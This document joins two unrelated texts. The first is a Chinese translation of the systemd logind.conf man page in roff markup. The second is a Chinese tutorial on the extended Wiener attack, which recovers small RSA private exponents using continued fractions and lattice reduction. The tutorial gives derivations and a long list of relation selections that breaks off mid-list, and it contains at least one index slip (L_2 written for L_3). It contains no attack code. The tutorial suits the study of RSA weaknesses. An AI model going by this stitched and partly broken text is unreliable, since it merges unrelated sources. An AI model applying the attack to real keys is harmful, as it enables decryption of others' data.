.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
logind.conf, logind.conf.d \- 登陆管理器配置文件
.SH "SYNOPSIS"
.PP
/etc/systemd/logind\&.conf
.PP
/etc/systemd/logind\&.conf\&.d/*\&.conf
.PP
/run/systemd/logind\&.conf\&.d/*\&.conf
.PP
/usr/lib/systemd/logind\&.conf\&.d/*\&.conf
.SH "描述"
.PP
上述配置文件用于控制
\fBsystemd-logind.service\fR(8)
登陆管理器的行为。
.SH "配置目录及其优先级"
.PP
默认设置是在编译期间确定的， 所以仅在确实需要修改默认设置的情况下， 才需要使用配置文件。位于
/etc/systemd/
目录中的初始配置文件， 仅包含了展示选项默认值的注释， 目的在于方便系统管理员查看和直接修改。
.PP
如果软件包想要自定义某些默认设置， 那么必须将自定义的配置文件安装到
/usr/lib/systemd/*\&.conf\&.d/
目录中。
/etc/
目录仅供系统管理员使用。 系统管理员可以利用下面的逻辑来覆盖默认设置： 主配置文件最先被读取， 优先级也最低。 所有
*\&.conf\&.d/
中的配置文件 都会覆盖主配置文件中的设置。 所有
*\&.conf\&.d/
中的配置文件(无论位于哪个目录中)， 统一按照文件名的字典顺序处理。 如果在多个配置文件中设置了同一个选项， 那么仅以文件名最靠后(字典顺序)的那一个为准。 为了便于排序， 建议给所有
*\&.conf\&.d/
中的配置文件 都加上两位十进制数字的文件名前缀。
.PP
如果系统管理员想要屏蔽
/usr/lib/
目录中的某个配置文件， 那么最佳做法是在
/etc/
目录中 创建一个指向
/dev/null
的同名符号链接， 即可彻底屏蔽
/usr/lib/
目录中的同名文件。
.SH "选项"
.PP
下面的所有选项都位于
"[Login]"
小节：
.PP
\fINAutoVTs=\fR
.RS 4
必须设为一个正整数， 表示默认最多可以自动启动多少个虚拟终端。 当用户切换到一个先前未曾使用的虚拟终端时， 将根据该虚拟终端的名称自动从
autovt@\&.service
模版实例化一个 例如
autovt@tty4\&.service
这样的服务单元。 默认情况下，autovt@\&.service
是一个指向
getty@\&.service
的软连接。 换句话说，当用户切换到一个先前未曾使用的虚拟终端时，"login:"登录提示符是动态启动的。 因此，此选项实际上相当于设置了允许启动多少个
\m[blue]\fBagetty\fR\m[]\&\s-2\u[1]\d\s+2
文本登录界面(与虚拟终端一一对应)。 如果某个虚拟终端已经被其他子系统(例如图形登录界面)占用， 那么将不会自动启动此虚拟终端。 注意，\fIReserveVT=\fR
中的虚拟终端 总会被自动启动， 即使这些终端并不在
\fINAutoVTs=\fR
的范围内。 默认值是"6"。若设为"0"则表示禁止自动启动任何虚拟终端， 也就是禁止自动从
autovt@\&.service
模版实例化。
.RE
.PP
\fIReserveVT=\fR
.RS 4
必须设为一个表示终端编号的正整数， 表示无条件的为该终端从
autovt@\&.service
模版实例化一个服务单元(见上文)。 被此选项选中的虚拟终端将被无条件的标记为"忙碌"状态， 以确保不被任何其他子系统占用。 此选项可用于确保无论其他子系统占用了多少虚拟终端， 在特定编号的终端上总有一个文本界面的登录
\m[blue]\fBagetty\fR\m[]\&\s-2\u[1]\d\s+2
可用。 默认值是"6"， 也就是在 Alt\-F6 上总有一个文本界面的"login:"登录提示符。 若设为"0"则表示禁止此特性。
.RE
.PP
\fIKillUserProcesses=\fR
.RS 4
接受一个布尔值。控制在用户退出登录会话时， 是否杀死该用户的进程。如果设为"yes"， 那么与此会话对应的 scope 单元中所包含的所有进程都将被杀死。 如果设为"no"，那么与此会话对应的 scope 单元将会被"遗弃"， 并且其中包含的所有进程都将被保留(任由其自生自灭)。 默认值是
"yes"
。 参见下面的
\fIKillOnlyUsers=\fR
与
\fIKillExcludeUsers=\fR
选项。
.sp
根据 linger(逗留) 设置的不同，用户进程除了可以运行在会话中， 还可以运行在
user@\&.service
用户管理单元中。 这样就允许用户运行独立于登录会话的进程。参见
\fBloginctl\fR(1)
的
\fBenable\-linger\fR
命令。
.sp
注意，设置
\fIKillUserProcesses=yes\fR
将破坏
\fBscreen\fR(1)
与
\fBtmux\fR(1)
之类的工具(除非它们被移出了会话 scope 单元之外)。参见
\fBsystemd-run\fR(1)
的例子。
.RE
.PP
\fIKillOnlyUsers=\fR, \fIKillExcludeUsers=\fR
.RS 4
设为一个空格分隔的用户名列表， 以影响
\fIKillUserProcesses=\fR
的效果： 若
\fIKillOnlyUsers=\fR
非空， 则表示
\fIKillUserProcesses=yes\fR
仅对列表内的用户有效。 若
\fIKillExcludeUsers=\fR
非空， 则表示
\fIKillUserProcesses=yes\fR
仅对列表外的用户有效。
\fIKillOnlyUsers=\fR
默认值为空，
\fIKillExcludeUsers=\fR
默认值为
"root"
， 并且
\fIKillExcludeUsers=\fR
的优先级比
\fIKillOnlyUsers=\fR
更高。 注意，若选项值为空则表示忽略此选项(相当于不存在此选项)。
.RE
.PP
\fIIdleAction=\fR
.RS 4
当系统持续处于空闲状态超过
\fIIdleActionSec=\fR
所设置的时间后， 应该执行何种操作：
"ignore"(无操作),
"poweroff"(关闭系统并切断电源),
"reboot"(重新启动),
"halt"(关闭系统但不切断电源),
"kexec"(调用内核"kexec"函数),
"suspend"(休眠到内存),
"hibernate"(休眠到硬盘),
"hybrid\-sleep"(同时休眠到内存与硬盘),
"lock"(锁屏) 。 默认值是
"ignore"
.sp
注意，此功能依赖于用户会话能够正确的报告空闲状态。 执行此处设置的动作需要满足下列全部条件： (1)系统中不存在"idle
\m[blue]\fBinhibitor\fR\m[]\&\s-2\u[2]\d\s+2"锁(禁止进入空闲状态的锁) (2)所有会话都报告说它们正处于空闲状态，并且持续处于空闲状态超过了下文
\fIIdleActionSec=\fR
所设置的时间。
.RE
.PP
\fIIdleActionSec=\fR
.RS 4
当系统持续处于空闲状态超过此处设置的时长之后 将会自动执行
\fIIdleAction=\fR
设定的动作。 可以使用下面的时间单位后缀："ms", "s", "min", "h", "d" ，若仅设为一个正整数，那么单位是秒。
.RE
.PP
\fIInhibitDelayMaxSec=\fR
.RS 4
当系统中存在"delay
\m[blue]\fBinhibitor\fR\m[]\&\s-2\u[2]\d\s+2"延迟锁时，关闭/休眠系统的请求将被临时延迟一段时间。 此选项可用于设置上述延迟的最大时长。 若超过这个时长之后，延迟锁依然未被释放，那么将执行关闭/休眠系统的动作。 可以使用下面的时间单位后缀："ms", "s", "min", "h", "d" ，若仅设为一个正整数，那么单位是秒。 默认值是5秒。
.RE
.PP
\fIHandlePowerKey=\fR, \fIHandleSuspendKey=\fR, \fIHandleHibernateKey=\fR, \fIHandleLidSwitch=\fR, \fIHandleLidSwitchDocked=\fR
.RS 4
当按下硬件按钮(关机、休眠到内存、休眠到硬盘、合上显示屏)时， 应该执行何种操作：
"ignore"(无操作),
"poweroff"(关闭系统并切断电源),
"reboot"(重新启动),
"halt"(关闭系统但不切断电源),
"kexec"(调用内核"kexec"函数),
"suspend"(休眠到内存),
"hibernate"(休眠到硬盘),
"hybrid\-sleep"(同时休眠到内存与硬盘),
"lock"(锁屏) 。 注意， 只监视带有
"power\-switch"
标签的 输入设备的 key(按下按钮)/lid(合上显示屏) 事件。 如果主机插入了一个扩展坞(docking station) 或者连接了多个显示器， 那么"合上显示屏"将执行
\fIHandleLidSwitchDocked=\fR
动作， 否则将执行
\fIHandleLidSwitch=\fR
动作。 下面是各选项的默认值：
\fIHandlePowerKey=poweroff\fR
、
\fIHandleSuspendKey=suspend\fR
、
\fIHandleLidSwitch=suspend\fR
、
\fIHandleLidSwitchDocked=ignore\fR
、
\fIHandleHibernateKey=hibernate\fR
.RE
.PP
\fIPowerKeyIgnoreInhibited=\fR, \fISuspendKeyIgnoreInhibited=\fR, \fIHibernateKeyIgnoreInhibited=\fR, \fILidSwitchIgnoreInhibited=\fR
.RS 4
设置硬件按钮(关机、休眠到内存、休眠到硬盘、合上显示屏) 所触发的操作(见上文)是否应该忽略
\m[blue]\fBinhibitor\fR\m[]\&\s-2\u[2]\d\s+2
锁的存在。
"no"
表示遵守应用所持有的 inhibitor 锁， 仅当所有的锁都失效以后才执行所触发的操作。
"yes"
表示无视 inhibitor 锁的存在， 无条件的立即执行所触发的操作。 下面是各选项的默认值：
\fIPowerKeyIgnoreInhibited=no\fR
、
\fISuspendKeyIgnoreInhibited=no\fR
、
\fIHibernateKeyIgnoreInhibited=no\fR
、
\fILidSwitchIgnoreInhibited=yes\fR
。
.RE
.PP
\fIHoldoffTimeoutSec=\fR
.RS 4
当开机/唤醒时间尚未超出此处设置的时间长度时， systemd 将延迟响应合上显示屏(lid)硬件事件。 为了能够正确检测可热插拔的外接显示器与扩展坞， 在刚开机之后的一段时间内忽略lid事件是非常有必要的。 若设为零，systemd 将会立即响应lid事件， 但这有可能在内核完成初始化所有热插拔设备之前。 只要你不在乎让 systemd 去管理在系统关闭时被插入或拔出的设备， 那么就可以设为零。 默认值是30秒。
.RE
.PP
\fIRuntimeDirectorySize=\fR
.RS 4
为每个已登录用户设置运行时目录(\fI$XDG_RUNTIME_DIR\fR)的最大尺寸。 若设为绝对大小， 则可以使用基于1024的字节后缀：K, M, G, T 。 若设为相对大小， 则可以设为一个以物理内存大小为基准的百分数(以
"%"
为后缀)。 默认值是 10% 。 注意，这里设置的值仅用于限制运行时目录尺寸的上限， 因为运行时目录位于内存中(tmpfs)， 所以实际所占用的内存大小是随着目录内容的变化而变化的。
.RE
.PP
\fIInhibitorsMax=\fR
.RS 4
控制最多允许同时存在多少个 inhibitor 锁。 默认值是 8192
.RE
.PP
\fISessionsMax=\fR
.RS 4
控制最多允许同时管理多少个用户会话。默认值是 8192 。 根据PAM栈中
pam_systemd\&.so
模块的不同配置， 超出数量限制的登录会话可能会被直接拒绝、也可能会被允许登录但不被
systemd\-logind
追踪。
.RE
.PP
\fIUserTasksMax=\fR
.RS 4
限制每个用户可同时运行的最大操作系统任务数。 这实际上是设置了每个用户的 slice 单元的
\fITasksMax=\fR
的值。详见
\fBsystemd.resource-control\fR(5)
手册。默认值是 33% ，对于默认设置的内核来说，在主机上等于 10813 ，但是在容器中的值可能会更小。
.RE
.PP
\fIRemoveIPC=\fR
.RS 4
当用户完全退出登录时(也就是退出最后一个登录会话时)， 是否销毁所有属于该用户的 SysV 与 POSIX IPC 对象。 这些IPC对象包括：SysV 信号/共享内存/消息队列、POSIX 共享内存/消息队列。 默认值
"yes"
表示销毁，这样可以确保当用户完全退出登录之后，不会再占用任何IPC资源。 注意，无论如何设置此选项，root 用户的IPC对象永远不会被销毁。
.RE
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemd-logind.service\fR(8),
\fBloginctl\fR(1),
\fBsystemd-system.conf\fR(5)
.SH "NOTES"
.IP " 1." 4
agetty
.RS 4
\%[set $man.base.url.for.relative.links]//man/agetty.html
.RE
.IP " 2." 4
inhibitor
.RS 4
\%http://www.freedesktop.org/wiki/Software/systemd/inhibit
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集：http://www.jinbuguo.com
|
sec-knowleage
|
### 维纳（Wiener）的方法原理分析
* 维纳`Wiener`提出了一种关于私钥过小时对$N$进行分解的一种方式。并给出了证明当
$$
d < \frac{1}{3}N^{\frac{1}{4}}
$$
满足时(还应满足$q < p < 2q$，因这里及后文主要是对私钥进行探讨，故忽略这类条件)一定能够分解$N$。
* 以下为原论文中对于`Wiener's Approach`的部分描述，部分内容有删减，其实这里也就是维纳攻击的证明，所以要想更详细了解请再看维纳攻击的原理，这里我们主要后面要用到这里的`式1`。方法如下
已知
$$
e*d -k*\lambda(N) = 1
$$
这里$\lambda(N) = lcm(p-1, q-1) = \varphi(N) / g$，令$s = 1-p-q$则有
$$
edg - kN = g + ks\tag{1}
$$
将两边同时除以$dgN$则有
$$
\frac{e}{N} - \frac{k}{dg} = \frac{g+ks}{dgN} = (\frac{k}{dg})(\frac{s}{N}) + \frac{1}{dN}
$$
我们知道这里有$e \approx N, s \approx N^{1/2}$，所以有$k/(dg)\approx 1$。则我们可以知道等式右边约等于$N^{-1/2}$。我们都知道当
$$|x - a/b| < 1/(2b^2)$$
时则$a/b$是一个$x$连分数近似（`连分数定理Continued Fractions`）
所以当
$$d < \frac{\sqrt{2}}{2g}N^{\frac{1}{4}}$$
时有$k/dg$是$e/N$的连分数近似，即能通过连分数展开覆盖。
* 注意这里前面所说的范围和后面的范围并不矛盾
这里对一些参数的值的近似并不严格，所以和维纳攻击的严格范围有出入，具体细节可参考维纳攻击的证明。
### 郭（Guo）的方法原理分析
* 郭针对不止一个$e$的情况进行研究，但是郭只研究了两个以及三个$e$的情况，上上节一样，这里我们还是使用原文内容翻译+解释的写法。对于两个$e$的情况，我们可以考虑
$$
e_1d_1g - k_1(p-1)(q-1) = g\\
e_2d_2g - k_2(p-1)(q-1) = g
$$
简单化简可以得到下式子
$$
k_2d_1e_1 - k_1d_2e_2 = k_2 - k_1\tag{2}
$$
两边同时除以$k_2d_1e_2$
$$
\frac{e_1}{e_2} - \frac{k_1d_2}{k_2d_1} = \frac{k_2 - k_1}{k_2d_1e_2}
$$
设$d_i < N^\alpha$，则等式右边约等于$N^{-(1+\alpha)}$
则当
$$2(k_2d_1)^2 < N^{1+\alpha}$$
时$k_1d_2/(k_2d_1)$是$e_1/e_2$的连分数近似。当$k_2$和$d_1$最多为$N^\alpha$而且$g$很小时，得到
$$\alpha < 1/3 - \epsilon\ \ \ (\epsilon > 0)$$
* 然而即使我们得到了$(k_1d_2)/(k_2d_1)$还是无法分解$N$，原文后面还讨论了郭的提议，尝试对$k_1d_2$进行分解，这里不再讲解。
### 扩展维纳攻击介绍
* 上述部分内容截至目前（2021/10）网络上已经有很多博文进行了讲解了分析，但是对于具体扩展维纳攻击的原理以及格构造或者是更高维的推广都没有给出。这里我将详细的对原论文内容进行翻译以及讲解。
* 为了将分析扩展到$n$个加密指数$e_i$（解密指数$d_i$很小），我们同时使用维纳和郭的方法，我们将关系
$$
d_ige_i - k_iN = g + k_is
$$
记为维纳等式$W_i$，同样我们可以得到关系
$$
k_id_je_j - k_jd_ie_i = k_i - k_j
$$
记为郭等式$G_{i,j}$。
我们假设$d_i$和$k_i$都小于$N^{\alpha_n}$，且$g$很小，$s \approx N^{1/2}$。可以注意到$W_i$和$G_i$的右侧非常小，实际上分别最多为$N^{1/2 + \alpha}$和$N^\alpha$。
最后，我们考虑复合关系式比如$W_uG_{v,w}$，显然大小为$N^{1/2 + 2\alpha}$。
* 原文中这里是定义了两个关系式以及指出了他们的大小范围，这个范围很重要也容容易分析处理，之后我们所做的其实就是使用这两个式子的不同复合关系去构造一个格，然后通过求其基向量得到$d_1g/k_1$，从而可以算得$\varphi(N)$并可以进一步的对$N$进行分解。
* 其实到这里原理分析已经结束，关于格的构造其实也并不复杂，但是核心是这里的复合关系的选取，以及对于最后$\alpha$大小的分析。
### 扩展维纳攻击两个小解密指数的情况介绍
* 我们选取关系$W_1, G_{1,2},W_1W_2$,这样便有
$$
\begin{aligned}
d_1ge_1 - k_1N &= g+k_1s\\
k_1d_2e_2 - k_2d_1e_1 &= k_1-k_2\\
d_1d_2g^2e_1e_2 - d_1gk_2e_1N - d_2gk_1e_2N + k_1k_2N^2 &= (g+k_1s)(g+k_2s)
\end{aligned}
$$
我们对第一个关系式乘上$k_2$，这样左边便全是由$d_1d_2g^2, d_1gk_2, d_2gk_1$和$k_1k_2$构成，这样我们便可以用已知内容构造格将上述式子转化为矩阵运算
$$
\begin{pmatrix}
k_1k_2&d_1gk_2&d_2gk_1&d_1d_2g^2
\end{pmatrix} \begin{pmatrix}
1&-N&0&N^2\\
&e_1&-e_1&-e_1N\\
&&e_2&-e_2N\\
&&&e_1e_2
\end{pmatrix} = \begin{pmatrix}
k_1k_2&k_2(g+k_1s)&g(k_1 - k_2)&(g+k_1s)(g+k_2s)
\end{pmatrix}
$$
等式右边向量的大小为$N^{2\alpha_2}, N^{1/2+2\alpha_2}, N^{\alpha_2}, N^{1+2\alpha_2}$,为了让大小相等，我们可以考虑构造一个D矩阵。
$$
D = \begin{pmatrix}
N&&&\\
&N^{1/2}&&\\
&&N^{1+\alpha_2}&\\
&&&1
\end{pmatrix}
$$
最终我们构造的矩阵为
$$
L_2 = \begin{pmatrix}
1&-N&0&N^2\\
&e_1&-e_1&-e_1N\\
&&e_2&-e_2N\\
&&&e_1e_2
\end{pmatrix} * D
$$
这样向量$b = \begin{pmatrix} k_1k_2&d_1gk_2&d_2gk_1&d_1d_2g^2 \end{pmatrix}$便有
$$
\Vert bL_2 \Vert < 2N^{1+2\alpha_2}
$$
这也就是为什么前面需要构造$D$矩阵的原因，给定$D$矩阵后，我们可以得到一个上界，这样问题可以转化为类SVP问题。
那么这里的b向量其实我们使用格基规约算法例如`LLL`便可以得到基向量$b$，然后我们求解$b_2/b_1$即得到$d_1g/k_1$
之后我们就可以得到
$$
\varphi(N) = \frac{edg}{k} - \frac{g}{k} = \lfloor edg/k\rceil
$$
我们假设这些格中最短向量长度为$\Delta^{1/4-\epsilon}$，其中$\Delta = det(L_2) = N^{13/2 + \alpha_2}$。如果这些格是随机的，我们甚至几乎可以肯定没有格点比闵可夫斯基界（Minkowski's bound）$2\Delta^{1/4}$，所以$bL_2$是最短向量当
$$
N^{1+2\alpha_2} < (1/c_2)\left(N^{13/2+\alpha_2}\right)^{1/4}
$$
对于一些小的$c_2$，如果有
$$
\alpha_2 < 5/14 - \epsilon^{'}
$$
则我们可以通过格基规约找到向量$b$。
* 上述内容是原文中给出的当两个小解密指数是进行的攻击细节，并且分析了$\alpha$的大小关系。
### 扩展维纳攻击三个小解密指数的情况
* 对于三个指数的情况我们额外选取$G_{1, 3}, W_1G_{2, 3}, W_2G_{1,3}$
这样我们的向量b为
$$B = \begin{pmatrix}
k_1k_2k_3&d_1gk_2k_3&k_1d_2gk_3&d_1d_2g^2k_3&k_1k_2d_3g&k_1d_3g&k_2d_3g&d_1d_2d_3g^3
\end{pmatrix}$$
然后我们便可以构造格
$$
L_3 = \left(\begin{array}{rrrrrrrr}
1 & -N & 0 & N^{2} & 0 & 0 & 0 & -N^{3} \\
0 & e_{1} & -e_{1} & -N e_{1} & -e_{1} & 0 & N e_{1} & N^{2} e_{1} \\
0 & 0 & e_{2} & -N e_{2} & 0 & N e_{2} & 0 & N^{2} e_{2} \\
0 & 0 & 0 & e_{1} e_{2} & 0 & -e_{1} e_{2} & -e_{1} e_{2} & -N e_{1} e_{2} \\
0 & 0 & 0 & 0 & e_{3} & -N e_{3} & -N e_{3} & N^{2} e_{3} \\
0 & 0 & 0 & 0 & 0 & e_{1} e_{3} & 0 & -N e_{1} e_{3} \\
0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} & -N e_{2} e_{3} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3}
\end{array}\right)
$$
其中
$$
D = diag(\begin{array}{r}
N^{\frac{3}{2}}&N&N^{a + \frac{3}{2}}&\sqrt{N}&N^{a + \frac{3}{2}}&N^{a + 1}&N^{a + 1}&1\end{array})
$$
同样我们可以得到
$$
\Vert bL_2 \Vert < \sqrt{8}N^{3/2+2\alpha_3}
$$
则当
$$\alpha_3 < 2/5 - \epsilon^{'}$$
时可以通过格基规约求出向量$b$。
### 扩展维纳攻击分析
* 扩展维纳攻击结合上述三个例子已经详细的阐明了方法细节，但是其中没有讲解如何选取复合关系。其实在原文的附录中给出了复合关系的选取，以及给出了$\alpha_n$的表达式。
* 在原文附录部分，考虑$n$个指数$e_i$，这样则有$2^n$个不同的量$h_j$（一个表达式$e_i$的个数），这样我们的$L_n$在乘上$D$之前，矩阵$L_n$的行列式为$N^{n2^{n-1}}$
这样最后一个关系$W_1W_2\dots W_n$最大为$N^{n/2 + n\alpha_n}$，这样我们便知道了任意情况的最大界值，我们只需要让其他值增加到这么多即可（即构造$D$矩阵）
引入了新的关系式
$$
R_{u,v} = W_{i_1}\dots W_{i_u}G_{j_1, l_1}\dots G_{j_v, l_v}
$$
其中$i_1,\dots,i_u,j_1,\dots,j_u,l_1,\dots,l_v$都不同，那么这里最多会有$u + 2v$个指数$e_i$，则我们的关系$R_{u,v}$最多为$N^{u/2 + (u+v)\alpha_n}$，同时注意我要需要所有系数的大小大致相同，所以我们在某些等式乘上$k_i$，使得关系$R_{u, v} = N^{u/2 + (n-v)\alpha_n}$。
最后我们再计算所有的大小与最大大小$N^{n/2 + n\alpha_n}$的差值，构造矩阵$D$。
这样我们便完成了矩阵$D$的构造，同时设矩阵$D$里面指数的乘积为$\beta_n = x+y\alpha_n$，这样有
$$
det(L_n) \approx N^{n2^{n-1} + x + y\alpha_n}
$$
则有
$$
N^{n/2 + n\alpha_n} < (1/c_n)\left(N^{n2^{n-1} + x + y\alpha_n}\right)^{1/2^n}
$$
对于小$c_n$，有
$$
\alpha_n < \frac{x}{n2^n - y} - \epsilon^{'}
$$
所以我们要想让$\alpha_n$更大就需要让$x$和$y$更大，这意味着我们要选取更多的$v$和更小的$u$。比如在$n=2$的情况我们选取$W_1, G_{1, 2}, W_1W_2$而不是$W_1, W_2, W_1W_2$因为前者$\beta_2 = 5/2 + \alpha$而后者$\beta_2 = 2$。
* 到这里，其实已经讲清楚了扩展维纳攻击的整个流程，如何选择复合关系，如何构造格，如何构造矩阵$D$以及如何求解。在原文的文末也给出了$n\le 5$时候的选择关系表。
这里我也给出$n\le8$的选择关系以及$n=6$时候构造的矩阵以供验证自己是否能够编写出选择关系式的逻辑代码。
```txt
-
W(1)
G(1, 2)
W(1)W(2)
G(1, 3)
W(1)G(2, 3)
W(2)G(1, 3)
W(1)W(2)W(3)
G(1, 4)
W(1)G(2, 4)
G(1, 2)G(3, 4)
G(1, 3)G(2, 4)
W(1)W(2)G(3, 4)
W(1)W(3)G(2, 4)
W(2)W(3)G(1, 4)
W(1)W(2)W(3)W(4)
G(1, 5)
W(1)G(2, 5)
G(1, 2)G(3, 5)
G(1, 3)G(2, 5)
G(1, 4)G(2, 5)
W(1)W(2)G(3, 5)
W(1)G(2, 3)G(4, 5)
W(1)G(2, 4)G(3, 5)
W(2)G(1, 3)G(4, 5)
W(2)G(1, 4)G(3, 5)
W(3)G(1, 4)G(2, 5)
W(1)W(2)W(3)G(4, 5)
W(1)W(2)W(4)G(3, 5)
W(1)W(3)W(4)G(2, 5)
W(2)W(3)W(4)G(1, 5)
W(1)W(2)W(3)W(4)W(5)
G(1, 6)
W(1)G(2, 6)
G(1, 2)G(3, 6)
G(1, 3)G(2, 6)
G(1, 4)G(2, 6)
G(1, 5)G(2, 6)
W(1)W(2)G(3, 6)
W(1)G(2, 3)G(4, 6)
W(1)G(2, 4)G(3, 6)
W(1)G(2, 5)G(3, 6)
G(1, 2)W(3)G(4, 6)
G(1, 2)G(3, 4)G(5, 6)
G(1, 2)G(3, 5)G(4, 6)
G(1, 3)G(2, 4)G(5, 6)
G(1, 3)G(2, 5)G(4, 6)
G(1, 4)G(2, 5)G(3, 6)
W(1)W(2)W(3)G(4, 6)
W(1)W(2)G(3, 4)G(5, 6)
W(1)W(2)G(3, 5)G(4, 6)
W(1)W(3)G(2, 4)G(5, 6)
W(1)W(3)G(2, 5)G(4, 6)
W(1)W(4)G(2, 5)G(3, 6)
W(2)W(3)G(1, 4)G(5, 6)
W(2)W(3)G(1, 5)G(4, 6)
W(2)W(4)G(1, 5)G(3, 6)
W(3)W(4)G(1, 5)G(2, 6)
W(1)W(2)W(3)W(4)G(5, 6)
W(1)W(2)W(3)W(5)G(4, 6)
W(1)W(2)W(4)W(5)G(3, 6)
W(1)W(3)W(4)W(5)G(2, 6)
W(2)W(3)W(4)W(5)G(1, 6)
W(1)W(2)W(3)W(4)W(5)W(6)
G(1, 7)
W(1)G(2, 7)
G(1, 2)G(3, 7)
G(1, 3)G(2, 7)
G(1, 4)G(2, 7)
G(1, 5)G(2, 7)
G(1, 6)G(2, 7)
W(1)W(2)G(3, 7)
W(1)G(2, 3)G(4, 7)
W(1)G(2, 4)G(3, 7)
W(1)G(2, 5)G(3, 7)
W(1)G(2, 6)G(3, 7)
G(1, 2)W(3)G(4, 7)
G(1, 2)G(3, 4)G(5, 7)
G(1, 2)G(3, 5)G(4, 7)
G(1, 2)G(3, 6)G(4, 7)
G(1, 3)G(2, 4)G(5, 7)
G(1, 3)G(2, 5)G(4, 7)
G(1, 3)G(2, 6)G(4, 7)
G(1, 4)G(2, 5)G(3, 7)
G(1, 4)G(2, 6)G(3, 7)
G(1, 5)G(2, 6)G(3, 7)
W(1)W(2)W(3)G(4, 7)
W(1)W(2)G(3, 4)G(5, 7)
W(1)W(2)G(3, 5)G(4, 7)
W(1)W(2)G(3, 6)G(4, 7)
W(1)G(2, 3)W(4)G(5, 7)
W(1)G(2, 3)G(4, 5)G(6, 7)
W(1)G(2, 3)G(4, 6)G(5, 7)
W(1)G(2, 4)G(3, 5)G(6, 7)
W(1)G(2, 4)G(3, 6)G(5, 7)
W(1)G(2, 5)G(3, 6)G(4, 7)
W(2)G(1, 3)W(4)G(5, 7)
W(2)G(1, 3)G(4, 5)G(6, 7)
W(2)G(1, 3)G(4, 6)G(5, 7)
W(2)G(1, 4)G(3, 5)G(6, 7)
W(2)G(1, 4)G(3, 6)G(5, 7)
W(2)G(1, 5)G(3, 6)G(4, 7)
W(3)G(1, 4)G(2, 5)G(6, 7)
W(3)G(1, 4)G(2, 6)G(5, 7)
W(3)G(1, 5)G(2, 6)G(4, 7)
W(4)G(1, 5)G(2, 6)G(3, 7)
W(1)W(2)W(3)W(4)G(5, 7)
W(1)W(2)W(3)G(4, 5)G(6, 7)
W(1)W(2)W(3)G(4, 6)G(5, 7)
W(1)W(2)W(4)G(3, 5)G(6, 7)
W(1)W(2)W(4)G(3, 6)G(5, 7)
W(1)W(2)W(5)G(3, 6)G(4, 7)
W(1)W(3)W(4)G(2, 5)G(6, 7)
W(1)W(3)W(4)G(2, 6)G(5, 7)
W(1)W(3)W(5)G(2, 6)G(4, 7)
W(1)W(4)W(5)G(2, 6)G(3, 7)
W(2)W(3)W(4)G(1, 5)G(6, 7)
W(2)W(3)W(4)G(1, 6)G(5, 7)
W(2)W(3)W(5)G(1, 6)G(4, 7)
W(2)W(4)W(5)G(1, 6)G(3, 7)
W(3)W(4)W(5)G(1, 6)G(2, 7)
W(1)W(2)W(3)W(4)W(5)G(6, 7)
W(1)W(2)W(3)W(4)W(6)G(5, 7)
W(1)W(2)W(3)W(5)W(6)G(4, 7)
W(1)W(2)W(4)W(5)W(6)G(3, 7)
W(1)W(3)W(4)W(5)W(6)G(2, 7)
W(2)W(3)W(4)W(5)W(6)G(1, 7)
W(1)W(2)W(3)W(4)W(5)W(6)W(7)
G(1, 8)
W(1)G(2, 8)
G(1, 2)G(3, 8)
G(1, 3)G(2, 8)
G(1, 4)G(2, 8)
G(1, 5)G(2, 8)
G(1, 6)G(2, 8)
G(1, 7)G(2, 8)
W(1)W(2)G(3, 8)
W(1)G(2, 3)G(4, 8)
W(1)G(2, 4)G(3, 8)
W(1)G(2, 5)G(3, 8)
W(1)G(2, 6)G(3, 8)
W(1)G(2, 7)G(3, 8)
G(1, 2)W(3)G(4, 8)
G(1, 2)G(3, 4)G(5, 8)
G(1, 2)G(3, 5)G(4, 8)
G(1, 2)G(3, 6)G(4, 8)
G(1, 2)G(3, 7)G(4, 8)
G(1, 3)G(2, 4)G(5, 8)
G(1, 3)G(2, 5)G(4, 8)
G(1, 3)G(2, 6)G(4, 8)
G(1, 3)G(2, 7)G(4, 8)
G(1, 4)G(2, 5)G(3, 8)
G(1, 4)G(2, 6)G(3, 8)
G(1, 4)G(2, 7)G(3, 8)
G(1, 5)G(2, 6)G(3, 8)
G(1, 5)G(2, 7)G(3, 8)
G(1, 6)G(2, 7)G(3, 8)
W(1)W(2)W(3)G(4, 8)
W(1)W(2)G(3, 4)G(5, 8)
W(1)W(2)G(3, 5)G(4, 8)
W(1)W(2)G(3, 6)G(4, 8)
W(1)W(2)G(3, 7)G(4, 8)
W(1)G(2, 3)W(4)G(5, 8)
W(1)G(2, 3)G(4, 5)G(6, 8)
W(1)G(2, 3)G(4, 6)G(5, 8)
W(1)G(2, 3)G(4, 7)G(5, 8)
W(1)G(2, 4)G(3, 5)G(6, 8)
W(1)G(2, 4)G(3, 6)G(5, 8)
W(1)G(2, 4)G(3, 7)G(5, 8)
W(1)G(2, 5)G(3, 6)G(4, 8)
W(1)G(2, 5)G(3, 7)G(4, 8)
W(1)G(2, 6)G(3, 7)G(4, 8)
G(1, 2)W(3)W(4)G(5, 8)
G(1, 2)W(3)G(4, 5)G(6, 8)
G(1, 2)W(3)G(4, 6)G(5, 8)
G(1, 2)W(3)G(4, 7)G(5, 8)
G(1, 2)G(3, 4)W(5)G(6, 8)
G(1, 2)G(3, 4)G(5, 6)G(7, 8)
G(1, 2)G(3, 4)G(5, 7)G(6, 8)
G(1, 2)G(3, 5)G(4, 6)G(7, 8)
G(1, 2)G(3, 5)G(4, 7)G(6, 8)
G(1, 2)G(3, 6)G(4, 7)G(5, 8)
G(1, 3)G(2, 4)W(5)G(6, 8)
G(1, 3)G(2, 4)G(5, 6)G(7, 8)
G(1, 3)G(2, 4)G(5, 7)G(6, 8)
G(1, 3)G(2, 5)G(4, 6)G(7, 8)
G(1, 3)G(2, 5)G(4, 7)G(6, 8)
G(1, 3)G(2, 6)G(4, 7)G(5, 8)
G(1, 4)G(2, 5)G(3, 6)G(7, 8)
G(1, 4)G(2, 5)G(3, 7)G(6, 8)
G(1, 4)G(2, 6)G(3, 7)G(5, 8)
G(1, 5)G(2, 6)G(3, 7)G(4, 8)
W(1)W(2)W(3)W(4)G(5, 8)
W(1)W(2)W(3)G(4, 5)G(6, 8)
W(1)W(2)W(3)G(4, 6)G(5, 8)
